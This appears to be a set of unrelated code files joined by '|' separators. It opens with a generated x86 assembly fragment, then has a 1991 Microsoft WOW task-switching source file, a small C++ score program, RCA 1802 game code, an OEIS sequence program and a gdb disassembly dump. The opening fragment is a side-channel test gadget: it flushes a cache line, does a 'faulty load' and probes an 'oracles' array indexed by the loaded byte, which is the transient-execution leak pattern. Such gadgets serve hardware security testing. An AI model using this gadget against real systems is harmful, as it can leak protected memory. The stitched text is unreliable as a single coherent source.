vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbx
nop
nop
nop
cmp $53761, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r8
push %r9
push %rbx
push %rdi
// Store
lea addresses_D+0x1f3dd, %r8
nop
nop
nop
nop
and $48060, %r13
mov $0x5152535455565758, %rdi
movq %rdi, %xmm6
movups %xmm6, (%r8)
nop
nop
nop
nop
nop
dec %rdi
// Store
lea addresses_D+0x1ee5d, %rdi
xor %r8, %r8
movl $0x51525354, (%rdi)
nop
nop
nop
sub $23976, %rbx
// Store
lea addresses_D+0x1ddd, %rbx
clflush (%rbx)
nop
nop
nop
nop
xor $20603, %r10
movl $0x51525354, (%rbx)
nop
and $27085, %r8
// Faulty Load
lea addresses_D+0x1f3dd, %r8
nop
sub %r13, %r13
mov (%r8), %r10w
lea oracles, %r8
and $0xff, %r10
shlq $12, %r10
mov (%r8,%r10,1), %r10
pop %rdi
pop %rbx
pop %r9
pop %r8
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 6}}
[Faulty Load]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': True}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': True}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 9, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 7}}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': True, 'congruent': 1}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
TITLE TASKING.ASM - WOW Tasking Support
PAGE ,132
;
; WOW v1.0
;
; Copyright (c) 1991, Microsoft Corporation
;
; TASKING.ASM
; WOW Tasking Support on 16 bit side - also see wkman.c
;
; History:
; 23-May-91 Matt Felton (mattfe) Created
; 12-FEB-92 Cleanup
;
.xlist
include kernel.inc
include tdb.inc
include newexe.inc
include wow.inc
include vint.inc
.list
.386
if KDEBUG
externFP OutputDebugString
endif
DataBegin
externB Kernel_InDOS
externB Kernel_flags
externB InScheduler
ifndef WOW
externB fProfileDirty
endif
externW WinFlags
externW cur_drive_owner
externW curTDB
externW Win_PDB
externW LockTDB
externW headTDB
externW hShell
externW pGlobalHeap
externW hExeHead
externW f8087
externD pIsUserIdle
externW wCurTaskSS
externW wCurTaskBP
globalw gwHackpTDB,0
globalw gwHackTaskSS,0
globalw gwHackTaskSP,0
externW PagingFlags
DataEnd
ifdef WOW
externFP ExitKernelThunk
externFP WowInitTask
externFP Yield
externFP WOW16CallNewTaskRet
externFP WowKillTask
externFP WOW16DoneBoot
externFP WOWGetCurrentDirectory
externFP ExitCall
externFP WowSyncTask
endif
sBegin CODE
assumes cs,CODE
assumes ds,NOTHING
assumes es,NOTHING
externNP LoadSegment
externNP DeleteTask
externNP InsertTask
externNP ShrinkHeap
ifdef WOW
externNP Int21Handler
endif
if SDEBUG
externNP DebugSwitchOut
externNP DebugSwitchIn
endif
;-----------------------------------------------------------------------;
; StartWOWTask ;
; ;
; Start a WOW 32 Task ;
; ;
; Arguments: ;
; Parmw1 -> TDB Of New Task ;
; Parmw2 New Task SS ;
; Parmw3 New Task SP ;
; Returns: ;
; AX - TRUE/FALSE if we we able to create a new WOW task ;
; Error Returns: ;
; none ;
; Registers Preserved: ;
; ;
; Registers Destroyed: ;
; BX,CX,DX ;
; Calls: ;
; See Notes ;
; History: ;
; ;
; Fre 24-May-1991 14:30 -by- Matthew A. Felton [mattfe] ;
; Created ;
;-----------------------------------------------------------------------;
; The 16-Bit Kernel has created the new task and its ready to go
; 1. Temporarily Switch to New Task Stack S2
; 2. Fake Far Return from Thunk to point to StartW16Task
; 3. Thunk to WOW32 - This will create a new Thread and call Win32 InitTask()
; Note InitTask() will not return from the non-preemptive scheduler until
; This thread does a Yield.
; 4. When the thunk returns is jmps to WOW16TaskStarted on S2 leaving
; S2 ready for the new task when it returns
; 5. Restore S1 - Original Task Stack
; 6. Return Back to LoadModule who will Yield and start T2 going.
assumes ds, nothing
assumes es, nothing
cProc StartWOWTask,<PUBLIC,FAR>
parmW pTDB
parmW wTaskSS
parmW wTaskSP
cBegin
SetKernelDS ds
mov es,pTDB ; Get New Task TDB, will use later
push curTDB ; Save our TDB
push bp ; save BP (we don't exit wow16cal directly)
mov di,ss ; Save Current Task Stack
mov cx,sp ; di=ss cx=sp
; switch to new task stack temporarily
FCLI ; Disable Ints Till We get Back
; To presever new fram
mov si,wTaskSP ; Grab this before SS goes away
mov ss,wTaskSS ; Switch to new task stack.
mov sp,si ;
mov curTDB,es ; Set curTDB to new task
;
pushf
pop ax
or ax,0200h ; Re-enable interrupts
push ax
push es ; hTask
mov es, es:[TDB_pModule] ; exehdr
mov ax, es:[ne_expver]
mov dx, es:[ne_flags]
and dx, NEWINPROT ; prop. font bit
push es ; hModule
push es ; Pointer to module name
push es:ne_restab
push es ; Pointer to module path
push word ptr es:ne_crc+2
push dx ; expwinver. argument for WOWINITTASK
push ax
mov es, curTDB ; resotre es, just being safe
; thunk to wow32 to create a thread and task
push cs ; Fake Out FAR Return to StartW16Task
push offset StartW16Task
jmp WowInitTask ; Start Up the W32 Thread
public WOW16TaskStarted
WOW16TaskStarted:
mov ss,di ; Restore Calling Task Stack
mov sp,cx
pop bp
pop curTDB ; Restore real CurTDB
FSTI ; OK we look like old task
cEnd
;
; First code executed By New Task - Setup Registers and Go
;
StartW16Task:
add sp,+12
pop ax ; Flags
mov bp,sp
xchg ax,[bp+20] ; Put flags down & pick up cs
xchg ax,[bp+18] ; Put cs down & pick up ip
xchg ax,[bp+16] ; Put ip down & pick up bp
mov bp,ax
dec bp
pop dx
pop bx
pop es
pop cx
pop ax
pop di
pop si
pop ds
call SyncTask
iret ; App Code Starts From Here
; ExitKernel
;
; Enter When the 16 bit Kernel is going away -- never returns.
; In WOW this is a register-args wrapper for the stack-args
; thunk ExitKernelThunk.
public ExitKernel
ExitKernel:
cCall ExitKernelThunk, <ax>
INT3_NEVER ; ExitKernel never returns.
; BootSchedule
;
; Entered When Bogus Boot Task goes Away - treated same as task exit.
public BootSchedule
BootSchedule:
CheckKernelDS DS ; Make Sure we Address Kernel DS
mov [curTDB],0 ; Make No Task the Current Task
jmp WOW16DONEBOOT
; ExitSchedule
;
; We get here when a 16 bit task has exited - go kill this task
; Win32 non-preemptive scheduler will wake someone else to run.
public ExitSchedule
ExitSchedule:
CheckKernelDS DS ; Make Sure we Address Kernel DS
mov ax,[LockTDB] ; If I am the locked TDB then clear flag
cmp ax,[curTDB]
jnz @f
mov [LockTDB],0
@@:
mov [curTDB],0 ; Make No Task the Current Task
call ShrinkHeap
jmp WowKillTask ; Go Kill Myself (NEVER RETURNS)
;-----------------------------------------------------------------------;
; SwitchTask - This is NOT a subroutine DO NOT CALL IT
;
; This routine does a Win 3.1 compatible task switch.
;
; Arguments:
; AX == Next Tasks TDB pointer
; Returns:
; nothing
; Error Returns:
; nothing
; Registers Preserved:
;
; Registers Destroyed:
;
; Calls:
; SaveState
; RestoreState
;
; History:
; 22-May-91 Matt Felton (MattFe) Created
; Using idea's from Win 3.1 Schedule.Asm
;
;-----------------------------------------------------------------------;
assumes ds, nothing
assumes es, nothing
public SwitchTask
SwitchTask:
CheckKernelDS ds
ReSetKernelDS ds
inc InScheduler ; set flag for INT 24...
cmp curTDB,0 ; Previous Task Gone Away ?
jnz @f ; No ->
; Yes
mov di,ax ; DI = New TDB
mov ds,ax ; DS = New TDB
jmps dont_save_state ; Get Set for this new guy
@@:
push ax ; Save Next Tasks TDB pointer
; COMPAT 22-May-91 Mattfe, Idle callout for funky screen drivers is done by
; the Windows scheduler - that will not happen either from WOW. INT 28
; and Win386 1689 int2f call
; There was PokeAtSegments code which during idle time brought back segments !
; Do Debuggers Care that the stack frame of registers looks like a Windows stack frame
; when we do the debugger callout ? - check with someone in CVW land.
mov es,curTDB ; ES = Previous Task TDB
mov ax,es ; Don't SS,SP For DEAD Task
or ax,ax
jz @F
mov ax,wCurTaskSS ; FAKE Out TDB_taskSS,SP so that
mov es:[TDB_taskSS],ax ; The Old Task Task_BP looks right
mov ax,wCurTaskBP
sub ax,(Task_BP-Task_DX)
mov es:[TDB_taskSP],ax
@@:
pop ds ; DS = Next Task TDB
UnSetKernelDS ds
if KDEBUG
; Assertion Check TDB_taskSS == SS for current Task
mov ax,ds:[TDB_taskSS]
mov di,ss
cmp di,ax
jz @F
; int 3
@@:
endif; KDEBUG
mov di,ds ; DI = destination task
xor si,si ; SI is an argument to RestoreState
mov ax,es ; NOTE TDB_SS,SP Are note Correct
or ax,ax ; might affect debugger compatability.
jz short dont_save_state
cmp es:[TDB_sig],TDB_SIGNATURE
jnz short dont_save_state
mov si,es ; SI = Old Task
cCall SaveState,<si>
if SDEBUG
push ds
mov ds,ax
call DebugSwitchOut ; Note Stack Frame is not Compatible
pop ds ; Do we care ?
endif
dont_save_state:
SetKernelDS es
mov curTDB,di
mov ax, ds:[TDB_PDB] ; Set our idea of the PDB
mov Win_PDB, ax
SetKernelDS es
cmp di,0 ; the first task, will never get 0
jz dont_restore_state
or Kernel_flags,kf_restore_CtrlC OR kf_restore_disk
if SDEBUG
call DebugSwitchIn
endif
dont_restore_state:
; Switch to new task stack.
mov curTDB,di
dec InScheduler ; reset flag for INT 24
SetKernelDS ds ; Set the Kernel DS again
;the word at [vf_wES] is a selector that's about to be popped into
;the ES in WOW16CallNewTaskRet. this selector could be the TDB of
;a task that just died, in which case it's invalid. so let's
;shove something in there that won't cause a GP when we do the POP ES.
;
; In some cases we are switching tasks while returning to a callback.
; When this happens our stack is a CBVDMFRAME instead of a VDMFRAME.
; We only want to shove a safe ES,FS,GS value when it's a VDMFRAME and
; we're returning from an API call rather than calling back to
; 16-bit code.
;
; Regardless of which frame we're using, ss:sp points to wRetID.
mov bx, sp
cmp WORD PTR ss:[bx], RET_DEBUGRETURN ; if (wRetID > RET_DEBUGRETURN)
ja dont_stuff_regs ; goto dont_stuff_regs
sub bx,vf_wTDB + 2 ;bx is now start of VDMFRAME struct
mov ss:[bx+vf_wES],es ;put something safe in there
;Win31 does not save fs, gs over task switches, so we zero them out here
mov word ptr ss:[bx+vf_wFS],0 ;put something safe in there
mov word ptr ss:[bx+vf_wGS],0 ;put something safe in there
dont_stuff_regs:
if KDEBUG
mov bx, sp
cmp WORD PTR ss:[bx], RET_TASKSTARTED
jne @f
INT3_NEVER ; We need to stuff ES for RET_TASKSTARTED
; if we hit this breakpoint.
@@:
endif
; Hung App Support
; If the new task is the one we want to kill then force it to exit
mov bx,curTDB ; if ( curTDB == LockTDB )
cmp bx,LockTDB
jnz SW_DontKillIt
mov ax,4CFFH ; YES -> Exit
DOSCALL
INT3_NEVER
SW_DontKillIt:
jmp WOW16CallNewTaskRet ; Continue with the new task.
;-----------------------------------------------------------------------;
; SaveState ;
; ;
; Saves the state of the current MS-DOS process. This means the per ;
; task interrupt vectors, the drive and directory, EEMS land if any, ;
; and old app stuff if any. ;
; ;
; Arguments: ;
; parmW destination ;
; ;
; Returns: ;
; DS returned in AX. ;
; ;
; Error Returns: ;
; ;
; Registers Preserved: ;
; ;
; Registers Destroyed: ;
; ;
; Calls: ;
; ;
; History: ;
; ;
; Mon 07-Aug-1989 21:53:42 -by- David N. Weise [davidw] ;
; Removed the WinOldApp support. ;
; ;
; Tue Feb 03, 1987 08:21:53p -by- David N. Weise [davidw] ;
; Got rid of the rest of the DOS version dependencies. ;
; ;
; Thu Jan 22, 1987 03:15:15a -by- David N. Weise [davidw] ;
; Took out the saving of the ^C state, DTA address, and ErrorMode. ;
; ;
; Sun Jan 04, 1987 04:40:44p -by- David N. Weise [davidw] ;
; Added this nifty comment block. ;
;-----------------------------------------------------------------------;
assumes ds, nothing
assumes es, nothing
cProc SaveState,<PUBLIC,NEAR>,<si,di,ds>
parmW destination
cBegin
cld
SetKernelDS
mov ax,f8087
UnSetKernelDS
mov ds,destination
or ax,ax
if 0
jz short no_fstcw
.8087
fstcw ds:[TDB_FCW]
endif
no_fstcw:
test ds:[TDB_Drive],10000000b; if hi bit set....
jnz short ss_ret ; ...no need to get dir
mov ah,19h
DOSCALL
mov dl,al
inc dl
or al,10000000b
mov ds:[TDB_Drive],al ; save it (A=0, B=1, etc.)
mov si,TDB_LFNDirectory
mov byte ptr [si],'\' ; set "\"
inc si
; get Long path
cCall WowGetCurrentDirectory,<80h, ds, si>
or dx, dx
jz short ss_ret
mov byte ptr [si-1],0 ; indicate error with null byte
ss_ret: mov ax,ds
cEnd
;-----------------------------------------------------------------------;
; RestoreState ;
; ;
; Restores the MS-DOS interrupt vectors in real mode. ;
; ;
; Arguments: ;
; none ;
; Returns: ;
; none ;
; Error Returns: ;
; none ;
; Registers Preserved: ;
; BX,CX,DX,DI,SI,DS,ES ;
; Registers Destroyed: ;
; AX ;
; Calls: ;
; nothing ;
; History: ;
; ;
; Mon 07-Aug-1989 21:53:42 -by- David N. Weise [davidw] ;
; Removed the WinOldApp support. ;
; ;
; Tue Feb 03, 1987 08:21:53p -by- David N. Weise [davidw] ;
; Got rid of the rest of the DOS version dependencies. ;
; ;
; Thu Jan 22, 1987 03:15:15a -by- David N. Weise [davidw] ;
; Took out the restoring of the ^C state, DTA address, and ErrorMode. ;
; ;
; Sun Jan 04, 1987 04:45:31p -by- David N. Weise [davidw] ;
; Added this nifty comment block. ;
;-----------------------------------------------------------------------;
; SyncTask
;
; Enter: when new task starts
; check if the new task is blocked by appshelp
cProc SyncTask,<PUBLIC,NEAR> <ax,bx,cx,dx,di,si,es,ds>
cBegin
STL:
cCall WowSyncTask
cmp ax, 0
je @F
jg STL
call ExitCall
@@:
cEnd
sEnd CODE
end
|
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int main(int argc, const char * argv[]) {
vector<int> w, k;
int x;
int w_sum, k_sum;
//入力
//W大学
for (int i = 0; i < 10; i++) {
cin >> x;
w.push_back(x);
}
//昇順ソート
sort(w.begin(), w.end());
//K大学
for (int i = 0; i < 10; i++) {
cin >> x;
k.push_back(x);
}
//昇順ソート
sort(k.begin(), k.end());
//各校上位3名
w_sum = w[9] + w[8] + w[7];
k_sum = k[9] + k[8] + k[7];
//syuturyoku
cout << w_sum << ' ' << k_sum << endl;
}
|
; ************************************************************************************************************
; ************************************************************************************************************
;
; Spawn new princesses.
;
; ************************************************************************************************************
; ************************************************************************************************************
SpawnPrincesses:
dec r2 ; make room on stack
lri rf,spawnTimer ; spawning timer timed out ?
ldn rf
bnz __SPExit ; exit if not.
ldi 60 ; causes timer to operate at 1Hz
str rf
ldi spawnSpeed & 255 ; point RF to spawn speed
plo rf
ldn rf ; read it
inc rf ; point RF to spawn counter
sex rf
add
str rf ; add to spawn counter and update
bnf __SPExit ; spawn on DF set.
__SPGetRandom:
call r6,RandomNumber ; get random number, save in RD.0
plo rd
ani 7
bz __SPGetRandom ; we want lower 3 bits to be 1-7
smi 1 ; it's now 0-6
str r2 ; save lower 3 bits on TOS.
sex r2 ; X access it.
glo rd ; get the random number
ani 40h ; bit 6 defines horizontal or vertical.
bz __SPVertical
;
; A horizontal one.
;
glo rd ; get bit 7
ani 80h
bz __SPHNotBottom
ldi 0D0h
__SPHNotBottom: ; D is 00 or D0 at this point.
adi 11h ; D is now 11 or E1.
add ; D now is 11 or E1 + (0-6) x 2
add
br __SPTrySpawn
;
; A vertical one.
;
__SPVertical:
ldn r2 ; multiply 1-6 by 32
shl
shl
shl
shl
shl
str r2
glo rd ; get bit 7
ani 80h
bz __SPHNotRight
ldi 0Dh
__SPHNotRight: ; D is now 00 or 0D
adi 11h ; now 11 or 1E
add ; add the 32 offset.
;
; Try to spawn a princess.
;
__SPTrySpawn:
plo rf ; make map reference in RF
ldi map/256
phi rf
ldn rf ; read it.
bnz __SPSpawnFail ; if non zero spawning has failed.
;
; Check |dx| for player is > 4. This will cause a skew in spawning.
;
lri re,player ; get player position
ldn re
ani 15 ; get X
str r2 ; save on TOS
glo rf ; get spawn position
ani 15 ; spawn X
sd ; playerX - spawnX
bdf __SPAbs
sdi 0
__SPAbs: ; |playerX - spawnX|
ani 0Ch ; if |dx| < 4 then fail
bz __SPSpawnFail ; stops spawning too near.
ldi 01h ; set to 1.
str rf
glo rf ; show spawns on LED.
dec r2
str r2
sex r2
out 4
br __SPExit
__SPSpawnFail:
lri rf,spawnCount ; set spawn counter to refire next time.
ldi 0FFh
str rf
__SPExit:
inc r2 ; restore off stack.
return
|
; A309338: a(n) = n^4 if n odd, 7*n^4/8 if n even.
; 0,1,14,81,224,625,1134,2401,3584,6561,8750,14641,18144,28561,33614,50625,57344,83521,91854,130321,140000,194481,204974,279841,290304,390625,399854,531441,537824,707281,708750,923521,917504,1185921,1169294,1500625,1469664,1874161,1824494,2313441,2240000,2825761,2722734,3418801,3279584,4100625,3917774,4879681,4644864,5764801,5468750,6765201,6397664,7890481,7440174,9150625,8605184,10556001,9901934,12117361,11340000,13845841,12929294,15752961,14680064,17850625,16602894,20151121,18708704,22667121
pow $0,4
mov $1,$0
mul $0,3
dif $1,2
add $0,$1
div $0,4
|
Dump of assembler code for function intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&):
64 vector<int> intersection(const vector<int>&a, const vector<int>& b) {
0x00401557 <+0>: push %ebp
0x00401558 <+1>: mov %esp,%ebp
0x0040155a <+3>: push %ebx
0x0040155b <+4>: sub $0x44,%esp
65 std::vector<int> ret;
0x0040155e <+7>: mov 0x8(%ebp),%eax
0x00401561 <+10>: mov %eax,(%esp)
0x00401564 <+13>: call 0x403334 <std::vector<int, std::allocator<int> >::vector()>
66
67 std::vector<int>::const_iterator abegin = a.begin(), bbegin = b.begin();
0x00401569 <+18>: mov 0xc(%ebp),%eax
0x0040156c <+21>: mov %eax,(%esp)
0x0040156f <+24>: call 0x4022cc <std::vector<int, std::allocator<int> >::begin() const>
0x00401574 <+29>: mov %eax,-0x18(%ebp)
0x00401577 <+32>: mov 0x10(%ebp),%eax
0x0040157a <+35>: mov %eax,(%esp)
0x0040157d <+38>: call 0x4022cc <std::vector<int, std::allocator<int> >::begin() const>
0x00401582 <+43>: mov %eax,-0x1c(%ebp)
68
69 while (abegin != a.end() and bbegin != b.end()) { // go through 2 arrays
0x00401585 <+46>: mov $0x0,%ebx
0x0040158a <+51>: mov 0xc(%ebp),%eax
0x0040158d <+54>: mov %eax,(%esp)
0x00401590 <+57>: call 0x402288 <std::vector<int, std::allocator<int> >::end() const>
0x00401595 <+62>: mov %eax,-0x14(%ebp)
0x00401598 <+65>: movb $0x1,-0x29(%ebp)
0x0040159c <+69>: lea -0x14(%ebp),%eax
0x0040159f <+72>: mov %eax,0x4(%esp)
0x004015a3 <+76>: lea -0x18(%ebp),%eax
0x004015a6 <+79>: mov %eax,(%esp)
0x004015a9 <+82>: call 0x40200c <__gnu_cxx::operator!=<int const*, std::vector<int, std::allocator<int> > >(__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > > const&, __gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > > const&)>
0x004015ae <+87>: test %al,%al
0x004015b0 <+89>: je 0x4015e2 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+139>
0x004015b2 <+91>: mov 0x10(%ebp),%eax
0x004015b5 <+94>: mov %eax,(%esp)
0x004015b8 <+97>: call 0x402288 <std::vector<int, std::allocator<int> >::end() const>
0x004015bd <+102>: mov %eax,-0x10(%ebp)
0x004015c0 <+105>: mov $0x1,%ebx
0x004015c5 <+110>: lea -0x10(%ebp),%eax
0x004015c8 <+113>: mov %eax,0x4(%esp)
0x004015cc <+117>: lea -0x1c(%ebp),%eax
0x004015cf <+120>: mov %eax,(%esp)
0x004015d2 <+123>: call 0x40200c <__gnu_cxx::operator!=<int const*, std::vector<int, std::allocator<int> > >(__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > > const&, __gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > > const&)>
0x004015d7 <+128>: test %al,%al
0x004015d9 <+130>: je 0x4015e2 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+139>
0x004015db <+132>: mov $0x1,%eax
0x004015e0 <+137>: jmp 0x4015e7 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+144>
0x004015e2 <+139>: mov $0x0,%eax
0x004015e7 <+144>: test %bl,%bl
0x004015e9 <+146>: cmpb $0x0,-0x29(%ebp)
0x004015ed <+150>: test %al,%al
0x004015ef <+152>: je 0x401711 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+442>
0x004016f5 <+414>: jmp 0x401585 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+46>
0x004016fa <+419>: mov %eax,%ebx
0x004016fc <+421>: mov 0x8(%ebp),%eax
0x004016ff <+424>: mov %eax,(%esp)
0x00401702 <+427>: call 0x403348 <std::vector<int, std::allocator<int> >::~vector()>
0x00401707 <+432>: mov %ebx,%eax
0x00401709 <+434>: mov %eax,(%esp)
0x0040170c <+437>: call 0x401828 <_Unwind_Resume>
70 if (*abegin == *bbegin) {
0x004015f5 <+158>: lea -0x18(%ebp),%eax
0x004015f8 <+161>: mov %eax,(%esp)
0x004015fb <+164>: call 0x402078 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator*() const>
0x00401600 <+169>: mov (%eax),%ebx
0x00401602 <+171>: lea -0x1c(%ebp),%eax
0x00401605 <+174>: mov %eax,(%esp)
0x00401608 <+177>: call 0x402078 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator*() const>
0x0040160d <+182>: mov (%eax),%eax
0x0040160f <+184>: cmp %eax,%ebx
0x00401611 <+186>: sete %al
0x00401614 <+189>: test %al,%al
0x00401616 <+191>: je 0x4016ac <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+341>
71 if (!(ret.size() >= 1 and *abegin == *ret.rbegin())) // checks already created list for duplicates https://en.wikipedia.org/wiki/Short-circuit_evaluation
0x0040161c <+197>: movb $0x0,-0x29(%ebp)
0x00401620 <+201>: mov 0x8(%ebp),%eax
0x00401623 <+204>: mov %eax,(%esp)
0x00401626 <+207>: call 0x4022b0 <std::vector<int, std::allocator<int> >::size() const>
0x0040162b <+212>: test %eax,%eax
0x0040162d <+214>: je 0x401666 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+271>
0x0040162f <+216>: lea -0x18(%ebp),%eax
0x00401632 <+219>: mov %eax,(%esp)
0x00401635 <+222>: call 0x402078 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator*() const>
0x0040163a <+227>: mov (%eax),%ebx
0x0040163c <+229>: lea -0xc(%ebp),%eax
0x0040163f <+232>: mov 0x8(%ebp),%edx
0x00401642 <+235>: mov %edx,0x4(%esp)
0x00401646 <+239>: mov %eax,(%esp)
